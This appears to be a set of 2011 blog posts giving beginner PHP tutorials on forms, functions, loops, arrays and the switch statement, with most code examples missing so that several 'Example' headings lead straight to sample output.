PHP Forms and User Input

2011-04-15T21:28:00.000-07:00

The PHP $_GET and $_POST variables are used to retrieve information from forms, like user input.

PHP Form Handling

The most important thing to notice when dealing with HTML forms and PHP is that any form element in an HTML page will automatically be available to your PHP scripts.

Example

The example below contains an HTML form with two input fields and a submit button:

When a user fills out the form above and click on the submit button, the form data is sent to a PHP file, called "welcome.php":

"welcome.php" looks like this:

Output could be something like this:

Welcome John!
You are 28 years old.

The PHP $_GET and $_POST functions will be explained in the next chapters.

Form Validation

User input should be validated on the browser whenever possible (by client scripts). Browser validation is faster and reduces the server load.

You should consider server validation if the user input will be inserted into a database. A good way to validate a form on the server is to post the form to itself, instead of jumping to a different page. The user will then get the error messages on the same page as the form. This makes it easier to discover the error.

PHP Functions

2011-04-15T21:11:00.000-07:00

The real power of PHP comes from its functions.

In PHP, there are more than 700 built-in functions.

PHP Functions

In this chapter we will show you how to create your own functions.

To keep the script from being executed when the page loads, you can put it into a function.

A function will be executed by a call to the function.

You may call a function from anywhere within a page.

Create a PHP Function

A function will be executed by a call to the function.

Syntax

function functionName() { code to be executed; }

PHP function guidelines:

Give the function a name that reflects what the function does
The function name can start with a letter or underscore (not a number)

Example

A simple function that writes my name when it is called:

Output:

My name is Kai Jim Refsnes

PHP Functions - Adding parameters

To add more functionality to a function, we can add parameters. A parameter is just like a variable.

Parameters are specified after the function name, inside the parentheses.

Example 1

The following example will write different first names, but equal last name:

Output:

My name is Kai Jim Refsnes.
My sister's name is Hege Refsnes.
My brother's name is Stale Refsnes.

Example 2

The following function has two parameters:

Output:

My name is Kai Jim Refsnes. My sister's name is Hege Refsnes! My brother's name is Ståle Refsnes?

PHP Functions - Return values

To let a function return a value, use the return statement.

Example

PHP Looping - For Loops

2011-04-15T20:53:00.000-07:00

Loops execute a block of code a specified number of times, or while a specified condition is true.

The for Loop

The for loop is used when you know in advance how many times the script should run.

Syntax

for (init; condition; increment) { code to be executed; }

Parameters:

init: Mostly used to set a counter (but can be any code to be executed once at the beginning of the loop)
condition: Evaluated for each loop iteration. If it evaluates to TRUE, the loop continues. If it evaluates to FALSE, the loop ends.
increment: Mostly used to increment a counter (but can be any code to be executed at the end of the loop)

Note: Each of the parameters above can be empty, or have multiple expressions (separated by commas).

Example

The example below defines a loop that starts with i=1. The loop will continue to run as long as i is less than, or equal to 5. i will increase by 1 each time the loop runs:

Output:

The number is 1
The number is 2
The number is 3
The number is 4
The number is 5

The foreach Loop

The foreach loop is used to loop through arrays.

Syntax

foreach ($array as $value) { code to be executed; }

For every loop iteration, the value of the current array element is assigned to $value (and the array pointer is moved by one) - so on the next loop iteration, you'll be looking at the next array value.

Example

The following example demonstrates a loop that will print the values of the given array:

Output:

one
two
three

PHP Looping - While Loops

2011-04-15T20:32:00.000-07:00

Loops execute a block of code a specified number of times, or while a specified condition is true.

PHP Loops

Often when you write code, you want the same block of code to run over and over again in a row. Instead of adding several almost equal lines in a script we can use loops to perform a task like this.

In PHP, we have the following looping statements:

while - loops through a block of code while a specified condition is true
do...while - loops through a block of code once, and then repeats the loop as long as a specified condition is true
for - loops through a block of code a specified number of times
foreach - loops through a block of code for each element in an array

The while Loop

The while loop executes a block of code while a condition is true.

Syntax

while (condition) { code to be executed; }

Example

The example below defines a loop that starts with i=1. The loop will continue to run as long as i is less than, or equal to 5. i will increase by 1 each time the loop runs:

Output:

The number is 1
The number is 2
The number is 3
The number is 4
The number is 5

The do...while Statement

The do...while statement will always execute the block of code once, it will then check the condition, and repeat the loop while the condition is true.

Syntax

do { code to be executed;
} while (condition);

Example

The example below defines a loop that starts with i=1. It will then increment i with 1, and write some output. Then the condition is checked, and the loop will continue to run as long as i is less than, or equal to 5:

Output:

The number is 2
The number is 3
The number is 4
The number is 5
The number is 6

PHP Arrays

2011-04-15T20:11:00.000-07:00

An array stores multiple values in one single variable.

What is an Array?

A variable is a storage area holding a number or text. The problem is, a variable will hold only one value.

An array is a special variable, which can store multiple values in one single variable.

If you have a list of items (a list of car names, for example), storing the cars in single variables could look like this:

$cars1="Saab";
$cars2="Volvo";
$cars3="BMW";

However, what if you want to loop through the cars and find a specific one? And what if you had not 3 cars, but 300?

The best solution here is to use an array!

An array can hold all your variable values under a single name. And you can access the values by referring to the array name.

Each element in the array has its own index so that it can be easily accessed.

In PHP, there are three kind of arrays:

Numeric array - An array with a numeric index
Associative array - An array where each ID key is associated with a value
Multidimensional array - An array containing one or more arrays

Numeric Arrays

A numeric array stores each array element with a numeric index.

There are two methods to create a numeric array.

1. In the following example the index are automatically assigned (the index starts at 0):

$cars=array("Saab","Volvo","BMW","Toyota");

2. In the following example we assign the index manually:

$cars[0]="Saab";
$cars[1]="Volvo";
$cars[2]="BMW";
$cars[3]="Toyota";

Example

In the following example you access the variable values by referring to the array name and index:

The code above will output:

Saab and Volvo are Swedish cars.

Associative Arrays

An associative array, each ID key is associated with a value.

When storing data about specific named values, a numerical array is not always the best way to do it.

With associative arrays we can use the values as keys and assign values to them.

Example 1

In this example we use an array to assign ages to the different persons:

$ages = array("Peter"=>32, "Quagmire"=>30, "Joe"=>34);

Example 2

This example is the same as example 1, but shows a different way of creating the array:

$ages['Peter'] = "32";
$ages['Quagmire'] = "30";
$ages['Joe'] = "34";

The ID keys can be used in a script:

The code above will output:

Peter is 32 years old.

Multidimensional Arrays

In a multidimensional array, each element in the main array can also be an array. And each element in the sub-array can be an array, and so on.

Example

In this example we create a multidimensional array, with automatically assigned ID keys:

$families = array
(
"Griffin"=>array
(
"Peter",
"Lois",
"Megan"
),
"Quagmire"=>array
(
"Glenn"
),
"Brown"=>array
(
"Cleveland",
"Loretta",
"Junior"
)
);

The array above would look like this if written to the output:

Array
(
[Griffin] => Array
(
[0] => Peter
[1] => Lois
[2] => Megan
)
[Quagmire] => Array
(
[0] => Glenn
)
[Brown] => Array
(
[0] => Cleveland
[1] => Loretta
[2] => Junior
)
)

Example 2

Lets try displaying a single value from the array above:

echo "Is " . $families['Griffin'][2] .
" a part of the Griffin family?";

The code above will output:

Is Megan a part of the Griffin family?

PHP Switch Statement

2011-04-15T04:31:00.000-07:00

Conditional statements are used to perform different actions based on different conditions.

The PHP Switch Statement

Use the switch statement to select one of many blocks of code to be executed.

Syntax

switch (n)
{

case label1:
code to be executed if n=label1;
break;
case label2:
code to be executed if n=label2;
break;
default:
code to be executed if n is different from both label1 and label2;
}

This is how it works: First we have a single expression n (most often a variable), that is evaluated once. The value of the expression is then compared with the values for each case in the structure. If there is a match, the block of code associated with that case is executed. Use break to prevent the code from running into the next case automatically. The default statement is used if no match is found.
